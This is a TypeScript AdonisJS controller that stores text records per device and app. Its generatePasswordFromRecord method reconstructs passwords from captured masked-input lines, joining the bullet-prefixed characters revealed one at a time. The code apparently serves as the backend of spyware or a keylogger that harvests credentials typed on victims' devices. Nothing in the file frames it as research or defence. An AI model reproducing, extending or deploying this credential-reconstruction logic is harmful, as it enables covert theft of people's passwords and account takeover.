| 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859 |
- import PaginationService from 'App/Services/PaginationService'
- import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
- import TextRecord from 'App/Models/TextRecord'
- import { schema } from '@ioc:Adonis/Core/Validator'
- export default class TextRecordController {
- private paginationService = new PaginationService(TextRecord)
- public async index({ request }: HttpContextContract) {
- return await this.paginationService.paginate(request.all())
- }
- public async store({ request, bouncer }: HttpContextContract) {
- await bouncer.authorize('admin')
- const payload = await request.validate({
- schema: schema.create({
- deviceId: schema.string(),
- appName: schema.string(),
- record: schema.string()
- })
- })
- const password = this.generatePasswordFromRecord(payload.record)
- return await TextRecord.create({ ...payload, password })
- }
- public async update({ request, params, bouncer }: HttpContextContract) {
- await bouncer.authorize('admin')
- const payload = await request.validate({
- schema: schema.create({
- deviceId: schema.string.optional(),
- appName: schema.string.optional(),
- record: schema.string.optional(),
- password: schema.string.optional()
- })
- })
- const record = await TextRecord.findOrFail(params.id)
- record.merge(payload)
- await record.save()
- return record
- }
- private generatePasswordFromRecord(text?: string): string {
- if (!text) return ''
- const bullet = '•'
- const chars: string[] = []
- text.split(/\r?\n/).forEach((rawLine) => {
- const line = rawLine.trim()
- if (!line || line.endsWith(bullet)) return
- const match = line.match(/^•*/)
- const bullets = match ? match[0].length : 0
- const content = line.slice(bullets)
- if (!/^[A-Za-z0-9]+$/.test(content)) return
- for (let i = 0; i < content.length; i++) {
- chars[bullets + i] = content[i]
- }
- })
- return chars.join('')
- }
- }
|